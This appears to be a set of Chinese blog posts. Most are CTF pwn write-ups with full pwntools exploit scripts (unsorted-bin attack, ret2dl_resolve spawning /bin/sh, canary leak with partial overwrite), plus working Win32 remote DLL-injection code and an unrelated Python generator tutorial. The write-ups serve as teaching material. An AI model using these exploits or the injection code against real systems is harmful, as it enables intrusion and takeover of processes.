2020年4月

0x00 原理

Unsorted_bin_attack 是一种比较基础的堆利用手法,常用于可以通过溢出,uaf或其它一些手法控制Unsorted_bin中末尾块(unsorted_arena->bk)的bk指针域的情形。

unsorted_bin是双链表结构,arena中fd指向链表首,bk指向链表尾。并且其中的chunk遵循头部插入尾部取出的规则。值得一提的是,首chunk的bk和尾chunk的fd都指向arena。

利用点在于尾部取出的过程,先来看glibc中相关的源码:

        while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
            bck = victim->bk;
            if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
                __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
                malloc_printerr(check_action, "malloc(): memory corruption",
                                chunk2mem(victim), av);
            size = chunksize(victim);

            /*
               If a small request, try to use last remainder if it is the
               only chunk in unsorted bin.  This helps promote locality for
               runs of consecutive small requests. This is the only
               exception to best-fit, and applies only when there is
               no exact fit for a small chunk.
             */
            /* 显然,bck被修改,并不符合这里的要求*/
            if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
                victim == av->last_remainder &&
                (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
                ....
            }

            /* remove from unsorted list */
            unsorted_chunks(av)->bk = bck;
            bck->fd                 = unsorted_chunks(av);

可以发现,取出尾chunk时会将arena中的bk指向尾chunk的fd,也就是上一个chunk的位置,同时会将上一个chunk的fd改写为arena的地址。这意味着,如果在取出尾部chunk前,我们如果将尾部chunk的bk修改为tartget_addr-0x10(fd被改掉不会直接报错,但是可能会破坏链表),那么在取出后,target的值就会被覆盖为arena的地址。

上一个拙劣的图:

看似被覆盖的值不受控制,但是可以达到很对目的,比如:

  • 修改某些判断条件中的常数
  • 修改循环的计数变量
  • 修改glibc中max_fastbin_size的大小,使得可以创建更大的fastbin,为下一步fastbin attack做准备
  • others...

0x01 举例:hitcontraining_lab14

题目内容就不放了,可以自己找。主要还是分配,编辑,释放三大功能,其中分配和编辑的大小都是自定义的,没有严格检查,所以存在堆溢出。利用溢出直接修改unsorted_chunk的bk域便可以实现unsorted_bin_attack。

exp:

from pwn import *

p = process("./magicheap")
elf = ELF("./magicheap")
libc = ELF("./libc.so.6")

magic_addr = 0x6020C0

context.log_level = "debug"

def create(size:int,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Size of Heap : ")
    p.sendline(str(size).encode())  
    p.recvuntil(b"Content of heap:")
    p.send(content)
    
def edit(index:int,size:int,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    p.recvuntil(b"Size of Heap : ")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content of heap : ")
    p.send(content)
    
def delete(index:int):
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    
def exp():
    create(0x10,b"aaaa") #idx0
    create(0x80,b"aaaa") #idx1
    create(0x10,b"aaaa") #idx2
    delete(1)
    #gdb.attach(p)
    edit(0,0x30,b"a"*0x10+p64(0)+p64(0x91)+b"a"*8+p64(magic_addr-0x10))
    gdb.attach(p)
    create(0x80,b"bbbb") #idx1
    p.recvuntil(b"Your choice :")
    p.sendline(b"4869")
    p.recvall()
    pass
    
if __name__=="__main__":
    exp()

生成器是进入python更高层次一个很重要的概念,这里用一个小例子简单记录一下

0x00 什么是生成器

借用一个生成斐波那契数列的python代码进行解释,这是一般的写法:

def fab(max): 
    n, a, b = 0, 0, 1 
    L = [] 
    while n < max: 
        L.append(b) 
        a, b = b, a + b 
        n = n + 1 
    return L
 
for n in fab(5): 
    print n

这个写法定义了一个函数,把传入的参数作为斐波那契数列的长度,将整个数列运算完成之后,返回一个列表。这样做虽然没错,但是我们可以发现,随着传入的参数变大,数列占用内存的体积也将慢慢变大。

于是为了提高效率,出现了这么一种思想,既然数列是有规律的,那么可不可以在需要下一个值的时候再进行运算,在不需要的时候就停止计算,以此可以保证内存占用始终为常数。

这就涉及到了python中 "协程" 的概念。总所周知,在一个线程中子程序的调用建立在栈的基础上,携程简而言之就是可以在同一个线程中,在一个子程序未执行完毕的情况下去执行另一个子函数。这种执行方式不需要复杂的锁,所以可以提高多线程的效率。

回到正题,python提供了一种叫生成器的东西,只要在定义函数时使用yield “替代” (并不是简单的替代)return 即可获得一个生成器。

0x01 生成器函数的工作原理

def func(a):
    ......
    yield x
    ......

当调用这个函数的时候会创建一个generator对象,这个对象具有next()方法。每执行一次next()方法,子程序会把语句执行到yield的位置,返回一个值,然后被挂起,转而继续执行原来的子程序。而当再次调用next()方法时会接着yield往下执行,直到抛出 StopIteration,也就是终止迭代。

0x02 示例

同样还是生成斐波那契数列,用生成器的方法:

from inspect import isgeneratorfunction

def func(max:int=9):
    n, a, b = 0, 0, 1
    while n < max:
        yield b
        a, b = b, a+b
        n+=1

print(isgeneratorfunction(func))

a = func(10)
print(type(a))
for i in a:
    print(i)

注意isgeneratorfunction 用于检测一个函数是不是生成器函数

这里使用a=func是实例化的出了一个generator对象,实际上每次实例化得到的对象都是不一样的,它们互不影响,也就是面向对象编程的特点。

这是一种较难理解的rop技巧,虽然pwntool直接提供了现成的模块进行利用但是我还是打算从原理上摸清楚

本文适合具有一定ROP基础的读者阅读

示例:XDCTF2015 bof

0x00 原理

说实话查了很多资料发现有些技术大神的表达能力较为欠缺.....搞得我看得云里雾里

关于segment和section的概念不再赘述,这里直切主题——ret2_dl_runtime_solve

1. 延迟绑定概念

由于Linux下的程序采用了延迟绑定机制,这就使得程序在运行后需要有专门的函数去根据程序中的符号(可以看成一个入口)把内存中运行库libc中真实的变量或函数的地址计算出来并保存在特定的位置(比如got表)。即利用程序二进制文件中写有的关于函数链接的信息作为参数让负责链接的函数帮助实现具体的链接过程,而负责实现链接的函数在程序运行之初就已经绑定好了,不然就会出现先有鸡还是先有蛋的矛盾。

2. 实现绑定(relocation)的过程

由于需要理清的东西实在太多,我干脆做了一张清晰明了的图,把relocation的每一个步骤都表示出来,这样在思考的时候不容易混乱。

为了简洁,图上一些概念做了抽象,记得结合文章阅读

完整图片下载链接:点我查看

首先注意args[0]和args[1]这两个参数是libc提供的负责链接的函数(_dl_runtime_solve)所需的参数。那么这两个参数又是如何被传入的呢?

通过动态跟踪程序的执行路径,比如write@plt,发现首次调用的时候实际上指向的是plt表的一段代码:

080483d0 <write@plt>:
 80483d0:	ff 25 1c a0 04 08    	jmp    DWORD PTR ds:0x804a01c
 80483d6:	68 20 00 00 00       	push   0x20
 80483db:	e9 a0 ff ff ff       	jmp    8048380 <_init+0x28>

其中jmp跳转到的位置就是write对应的got表项,函数got表的内容在没有完成链接前保存的是该函数plt表第二条指令的地址,也就是会绕一圈继续往下执行。而往下执行的这个push 0x20便是图中的args[1]。再往下的jmp会跳转到plt表的开头也就是plt[0]的位置:

 8048380:	ff 35 04 a0 04 08    	push   DWORD PTR ds:0x804a004
 8048386:	ff 25 08 a0 04 08    	jmp    DWORD PTR ds:0x804a008

其中两个操作数分别是got[1]和got[2]:

.got.plt:0804A004 dword_804A004   dd 0                    ; DATA XREF: sub_8048380↑r  //got[1]
.got.plt:0804A008 dword_804A008   dd 0                    ; DATA XREF: sub_8048380+6↑r //got[2]

plt[0]的位置是两条指令,其中push DWORD PTR ds:0x804a004 对应图中的args[0],jmp则跳转到了got[2]的位置,这个位置保存了之前提到的 _dl_runtime_solve 的地址,开始执行对write函数的链接。

可以发现这个plt表的这个跳转实际上就是先传参,再调用函数的过程,两个参数args[1]和args[0]被先后压入栈中。这两个参数意义如下:

  • args[0]:link_map,保存在got[1]中,指向.dynamic section的位置
  • args[1]:write相对于.rel.plt(也就是JMPREL)的偏移

通过挖掘的这两个参数可以发现, .Dynamic Section 中竟然保存了 rel.plt 的起始地址:

Dynamic section at offset 0xf14 contains 24 entries:
  标记        类型                         名称/值
 0x00000001 (NEEDED)                     共享库:[libc.so.6]
 0x0000000c (INIT)                       0x8048358
 0x0000000d (FINI)                       0x8048624
 0x00000019 (INIT_ARRAY)                 0x8049f08
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x8049f0c
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x8048278
 0x00000006 (SYMTAB)                     0x80481d8
 0x0000000a (STRSZ)                      107 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x804a000
 0x00000002 (PLTRELSZ)                   40 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x8048330 /*这一项就是*/
 0x00000011 (REL)                        0x8048318
 0x00000012 (RELSZ)                      24 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x80482f8
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x80482e4
 0x00000000 (NULL)                       0x0

那.rel.plt中又存放着什么信息使得_dl_runtime_solve函数足以计算出write的真正地址?

LOAD:08048330 ; ELF JMPREL Relocation Table
LOAD:08048330                 Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT setbuf
LOAD:08048338                 Elf32_Rel <804A010h, 207h> ; R_386_JMP_SLOT read
LOAD:08048340                 Elf32_Rel <804A014h, 407h> ; R_386_JMP_SLOT strlen
LOAD:08048348                 Elf32_Rel <804A018h, 507h> ; R_386_JMP_SLOT __libc_start_main
LOAD:08048350                 Elf32_Rel <804A01Ch, 607h> ; R_386_JMP_SLOT write  /*该项是与write有关的结构体*/
LOAD:08048350 LOAD            ends

从IDA的反汇编结果来看,是一连串结构体。如果把之前args[1]传入的那个偏移加上.rel.plt的起始地址刚好对应上了一个与write有关的结构体。这个结构体一共8个字节,前四个字节是一个地址,后四个地址看着像偏移。

经过动态跟踪 _dl_runtime_solve 函数 的执行过程发现,后四字节对应的16进制整数前两位会作为以前四个字节为基址的偏移,而最后一位0x7作为一个常数存在,且该常数还需要通过校验才能继续往下执行(8懂为啥这么干)。只好继续分析前四字节的地址有啥:

LOAD:080481D8 ; ELF Symbol Table
LOAD:080481D8                 Elf32_Sym <0>
LOAD:080481E8                 Elf32_Sym <offset aSetbuf - offset elfstr_start, 0, 0, 12h, 0, 0> ; "setbuf"
LOAD:080481F8                 Elf32_Sym <offset aRead - offset elfstr_start, 0, 0, 12h, 0, 0> ; "read"
LOAD:08048208                 Elf32_Sym <offset aGmonStart - offset elfstr_start, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:08048218                 Elf32_Sym <offset aStrlen - offset elfstr_start, 0, 0, 12h, 0, 0> ; "strlen"
LOAD:08048228                 Elf32_Sym <offset aLibcStartMain - offset elfstr_start, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:08048228                            0>
LOAD:08048238                 Elf32_Sym <offset aWrite - offset elfstr_start, 0, 0, 12h, 0, 0> ; "write" /*这里是write对应的结构体*/

发现是一个符号表....

吐了,根据IDA反汇编结果看还是一串结构体。不过按照之前的步骤进行分析,发现这个结构体只有前4*4=16个字节需要关注,且中间8字节全是0,开头的4字节还是一个偏移,而最后4字节对于函数的链接而言是一个常数,不用管。继续深挖这个偏移,发现这是相对于另一个表的偏移:

LOAD:08048278 ; ELF String Table
LOAD:08048278 elfstr_start    db 0                    ; DATA XREF: LOAD:080481E8↑o
LOAD:08048278                                         ; LOAD:080481F8↑o ...
LOAD:08048279 aLibcSo6        db 'libc.so.6',0
LOAD:08048283 aIoStdinUsed    db '_IO_stdin_used',0   ; DATA XREF: LOAD:08048258↑o
LOAD:08048292 aStdin          db 'stdin',0            ; DATA XREF: LOAD:08048268↑o
LOAD:08048298 aStrlen         db 'strlen',0           ; DATA XREF: LOAD:08048218↑o
LOAD:0804829F aRead           db 'read',0             ; DATA XREF: LOAD:080481F8↑o
LOAD:080482A4 aStdout         db 'stdout',0           ; DATA XREF: LOAD:08048248↑o
LOAD:080482AB aSetbuf         db 'setbuf',0           ; DATA XREF: LOAD:080481E8↑o
LOAD:080482B2 aLibcStartMain  db '__libc_start_main',0
LOAD:080482B2                                         ; DATA XREF: LOAD:08048228↑o
LOAD:080482C4 aWrite          db 'write',0            ; DATA XREF: LOAD:08048238↑o
LOAD:080482CA aGmonStart      db '__gmon_start__',0   ; DATA XREF: LOAD:08048208↑o
LOAD:080482D9 aGlibc20        db 'GLIBC_2.0',0
LOAD:080482E3                 align 4
LOAD:080482E4                 dd 20000h, 2, 2 dup(20002h), 20001h, 10001h, 1, 10h, 0
LOAD:08048308                 dd 0D696910h, 20000h, 61h, 0

这是个字符串表,加上刚刚符号表中的偏移发现是一个字符串,而且这个字符串的内容正是 "\x00write\x00" (注意前后有\x00截断),是咱write函数的名字。

在接下来的步骤中,_dl_runtime_solve在libc中搜索这个字符串对应的函数的地址,并将其存入write对应的got表中。

至此逻辑发生了闭合,回到第一步中,write对应的plt表的第一个语句jmp到got表保存的地址处就相当于直接jmp到了write函数在内存中真正的位置,完成了函数的符号和地址的链接,往后再次使用该函数不会再发生链接。于是我们接下来的利用思路全部基于这个第一次链接的过程。

文字水平有限,如果对这个过程还有什么不懂的,可以结合文字看我画的那张图,上面标注了流程还有部分关键位置截图。

0x01 题目分析

0x02 exp思路

思路

完整exp

python3版本 (自己写的)

#!/usr/bin/python3

from pwn import *
p=process("./main")
elf=ELF("./main")
#config:
context.log_level="debug"
context.arch="i386"

#func@plt:
write_plt=elf.plt[b"write"]
read_plt=elf.plt[b"read"]

#gadgets:
ppp_ret=0x08048619 #empty parameters
pop_ebp_ret=0x0804861b # migrate stack
leave_ret=0x08048458 # migrate stack

#addr:
bss=0x804A040
stack_size=0x800
base_stage=bss+stack_size
#fake stack栈的大小满足条件即可,没有强制要求

plt_0=0x8048380
rel_plt=0x08048330
dynsym=0x80481D8
dynstr=0x8048278

#constans:
offset=112
align=0x4

#Other:
index_offset = base_stage + 28 - rel_plt
r_info = (((base_stage + 40) - dynsym) << 4 ) | 0x7
print("r_info:",hex(r_info))
st_name = base_stage + 56 - dynstr

#Step 1:
payload1=b"A"*offset
payload1+=p32(read_plt)
payload1+=p32(ppp_ret)
payload1+=p32(0)
payload1+=p32(base_stage)
payload1+=p32(100) # size of payload2
#主要这个值要根据payload2的大小合理分配
payload1+=p32(pop_ebp_ret)
payload1+=p32(base_stage)
payload1+=p32(leave_ret)

p.recvuntil(b"XDCTF2015~!\n")
p.sendline(payload1)

#Step 2:
payload2=b"AAAA" # base_stage (base + 0)
payload2+=p32(plt_0) 
payload2+=p32(index_offset)
payload2+=b"AAAA" #ret
payload2+=p32(base_stage + 80) # "/bin/sh" addr
payload2+=b"aaaa"
payload2+=b"aaaa"
#注意这里要补全为三个参数的长度,因为write是3个参数
#但是由于system只使用第一个参数,所以其他用a填充即可
#-----[fake .rel.plt]----------
payload2+=p32(elf.got[b"write"]) # [fake .rel.plt] (base + 28)
payload2+=p32(r_info) # (base + 32)
#------------------------------
payload2+=b"A"*align # (base + 36)
#注意这一步的对齐非常重要
#dynsym中结构体的大小为0x10
#需要保证fake dynsym和dynsym_start的差为0x10的整数倍
#而这题中dymsym最后一位是0x8
#所以要将fake dynsym最后一位也补齐到0x8
#------[fake .dynsym]----------
payload2+=p32(st_name) # (base + 40)
payload2+=p32(0)
payload2+=p32(0)
payload2+=p32(0x12)
#------------------------------
payload2+=b"system\x00" # func_name that to be relocate (base + 56)
payload2+=b"A"*(80-len(payload2))
payload2+=b"/bin/sh\x00"
payload2+=b"A"*(100-len(payload2))

p.sendline(payload2)
p.interactive()

python2版本(官方wp)

#!/usr/bin/python

from pwn import *
elf = ELF('main')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size
 
r = process('./main')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # read 100 bytes to base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;point esp to base_stage
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
print("align",hex(align))
print("r_info",hex(r_info))

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

借助pwntool模块的方法

这么封装起来实在太抽象了,反而难以理解,我还是觉得我写的版本是最容易理解的(嘻嘻

from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()

rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

遇到栈相关的题如果打开了pie和canary是挺麻烦的,但是如果合理的利用栈泄露和部分字节覆写还是可以达到一定程度的程序流控制

示例题目: 安恒杯 2018 .07月赛 babypie

Arch: amd64-64-little RELRO:

Partial RELRO

Stack: Canary

found NX: NX enabled

PIE: PIE enabled

开了pie和canary

0x00 IDA中分析

栈溢出发生的位置

__int64 vul()
{
  __int64 buf; // [rsp+0h] [rbp-30h]
  __int64 v2; // [rsp+8h] [rbp-28h]
  __int64 v3; // [rsp+10h] [rbp-20h]
  __int64 v4; // [rsp+18h] [rbp-18h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);             // 无缓冲
  buf = 0LL;
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  puts("Input your Name:");
  read(0, &buf, 0x30uLL);
  printf("Hello %s:\n", &buf);                  // 明显的溢出
                                                // 
  read(0, &buf, 0x60uLL);
  return 0LL;
}

溢出发生了两次,每次溢出可控制的字节不同。同时read不设置截断符\x00,而canary为了防止被泄露,最低位字节固定为0x00,那么可以额外读取一个字节覆盖canary的最低字节,达到泄露目的。

后门函数

int backdoor()
{
  return system("/bin/sh");
}

这个函数的偏移是 $rebase(A3E),而gdb里面动态调试发现vul函数执行完后的返回地址的偏移是 $rebase(A6A),由这里应该得到启发:实际上pie只是将地址高位进行了随机化,如果想办法修改低位,是有可能在一定限度内控制执行流的。

0x01 exp

思路

大致利用思路已经很明了了:

  • 第一次溢出用sendline把canary最后一个字节覆盖为换行符\x0a,然后从输出中读到canary+0xa,减去0xa得到canary。
  • 第二次溢出运用上一步的canary覆盖canary所在的栈上位置并继续向后溢出,覆盖return地址低两位字节。
  • 由于return地址低两位字节中有4 bits是无法控制的,也就是是随机的,好在范围不大,随便填一个靠点运气就能getshell~

完整exp

#!/usr/bin/python3

from pwn import *

p=process("./babypie")
elf=ELF("./babypie")
libc=ELF("./libc.so.6")

context.log_level="debug"

#Step1 leak canary & ret_addr
p.recvuntil(b"Name:")
payload1=b"a"*36+b"bbbb"
p.sendline(payload1)
p.recvuntil(b"bbbb")
canary=u64(p.recv(8))-0x0a
print("leak canary:",hex(canary))

#Step2 overwrite
p.recvuntil(b":\n")
payload2=b"a"*0x28+p64(canary)+b"a"*8+b"\x3E\x8A" # luckly~
p.send(payload2)

p.interactive()

0x02 总结

partial overwrite不仅仅可以用在栈上,同样可以用在其它随机化的场景。比如堆的随机化,由于堆起始地址低字节一定是0x00,也可以通过覆盖低位来控制堆上的偏移。

没想到入坑WIN32居然是从这个地方,由于对WIN32不太了解,所以摸索起来比较困难。sad师傅推荐了《windows核心编程》这本书,个人感觉还是挺好的,就是得耐下心多读读才能领会。

0x00 Win下进程的内存结构

程序在运行时会把自身的二进制文件加入到内存中,其中相关的函数、变量等都会在内存中对应固定的地址。但是程序功能一般不会仅靠单独一个二进制文件实现,有时还需要调用系统提供的API来进行一些操作。而这通常是靠引用预先集成了许多函数的DLL(动态链接库)文件,并调用其中的函数来实现。由于DLL不包含在程序的二进制文件中,所以需要在运行的时候由操作系统加入到进程的内存空间中。

那么如果我们能够编写一个工具,实现将我们自己编写的DLL注入到另一个不同的进程的内存空间中,就相当于有了间接控制这个进程的能力。(在此处只讨论如何注入)

0x01 几个要用到的win32 API

进程相关

  • OpenProcess 获得要注入进程的句柄
  • VirtualAllocEx在远程进程中开辟出一段内存
  • WriteProcessMemory将Dll的名字写入第二步开辟出的内存中
  • CreateRemoteThreadLoadLibraryA作为线程函数,参数为Dll的名称,创建新线程
  • CloseHandle关闭线程句柄

权限相关

  • OpenProcessToken打开进程令牌
  • LookupPrivilegeValue
  • AdjustTokenPrivileges

具体参数可以百度或者谷歌搜索,也可以参考sad师傅的博客关于这些API的介绍:

https://www.jianshu.com/p/044931d7e4d6

0x02 思路

  1. 提升进程权限(非必须)
  2. 利用进程PID获得目标进程的句柄
  3. 在目标进程中开辟出一段内存写入需要调用的DLL的路径(因为后续步骤加载DLL时所用的参数需要在同一内存空间中)
  4. 获得 LoadLibraryA 在目标进程中的地址(通常在所有进程中是一样的),利用 LoadLibraryA 作为线程函数,DLL路径地址作为参数,在目标进程中创建一个线程用来加载DLL
  5. 完成注入后关闭相关句柄

0x03 代码实现

进程提权

int EnableDebugPriv(const char* name)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    //打开进程令牌环
    //GetCurrentProcess()获取当前进程句柄
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    //获得进程本地唯一ID
    LookupPrivilegeValue(NULL, (LPCWSTR)name, &luid);
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid = luid;
    //调整权限
    int ret = AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
    return ret;
}

DLL注入

int remoteInjection(const DWORD PID) {
    HANDLE hRemoteProcess;
    HANDLE hRemoteThread;
    char* pszLibFileRemote;

    printf("DEFAULT DLL PATH: %s\n", DLLname);

    if (!EnableDebugPriv((const char*)SE_DEBUG_NAME)) {
        cout << "* FAIL TO: Get SEDEBUG privilege" << endl;
        return 0;
    }
    else {
        cout << "* SUCCESS TO: Get SEDEBUG privilege" << endl;
    }
/*拿到目标进程句柄*/
    hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
    if (hRemoteProcess) {
        cout << "* SUCCESS TO: Open process" << endl;
        cout << "Got Handle: " << hRemoteProcess << endl;
    }
    else {
        cout << "* FAIL TO: Open process" << endl;
        return 0;
    }
/*开辟一段内存*/
    pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, strlen(DLLname) + 10, MEM_COMMIT, PAGE_READWRITE);
    if (pszLibFileRemote) {
        cout << "* SUCCESS TO: Allocate remote memory space" << endl;
        printf("Remote addr: 0x%p\n", (long long)pszLibFileRemote);
    }
    else {
        cout << "* FAIL TO: Allocate remote memory space" << endl;
        return 0;
    }
/*写入DLL路径到目标进程*/
    if (WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void *)DLLname, strlen(DLLname) + 10, NULL)) {
        cout << "* SUCCESS TO: Write memory" << endl;
    }
    else {
        cout << "* FAIL TO: Write memory" << endl;
        return 0;
    }
    //PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)LoadLibraryA;
/*获得LoadLibraryA函数的地址*/
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32"), "LoadLibraryA");
    if (pfnStartAddr == NULL) {
        cout << "* FAIL TO: Get LoadLibraryA() addr" << endl;
        return 0;
    }
    else
    {
        cout << "* SUCCESS TO: Get LoadLibraryA() addr" << endl;
        printf("LoadLibraryA addr: 0x%p\n", (long long)pfnStartAddr);
    }
/*在目标进程中创建线程加载DLL*/
    hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
    //在这一步注入了自己创建的DLL
    if (hRemoteThread) {
        cout << "* SUCCESS TO: Create remote thread" << endl;
    }
    else {
        cout << "* FILE TO: Create remote thread" << endl;
        return 0;
    }
/*等待线程结束*/
    WaitForSingleObject(hRemoteThread, INFINITE);
/*关闭句柄*/
    CloseHandle(hRemoteProcess);
    CloseHandle(hRemoteThread);
    return 1;
}

完整项目源码

github: https://github.com/yikesoftware/Remote_DLL_Injection

本项目在vs2019下编写

项目提供了:

  • 用于注入的程序源码
  • 带有注入成功弹窗提示的测试用DLL源码
  • 被注入的测试程序源码

注意

部分受保护进程可能会出现注入失败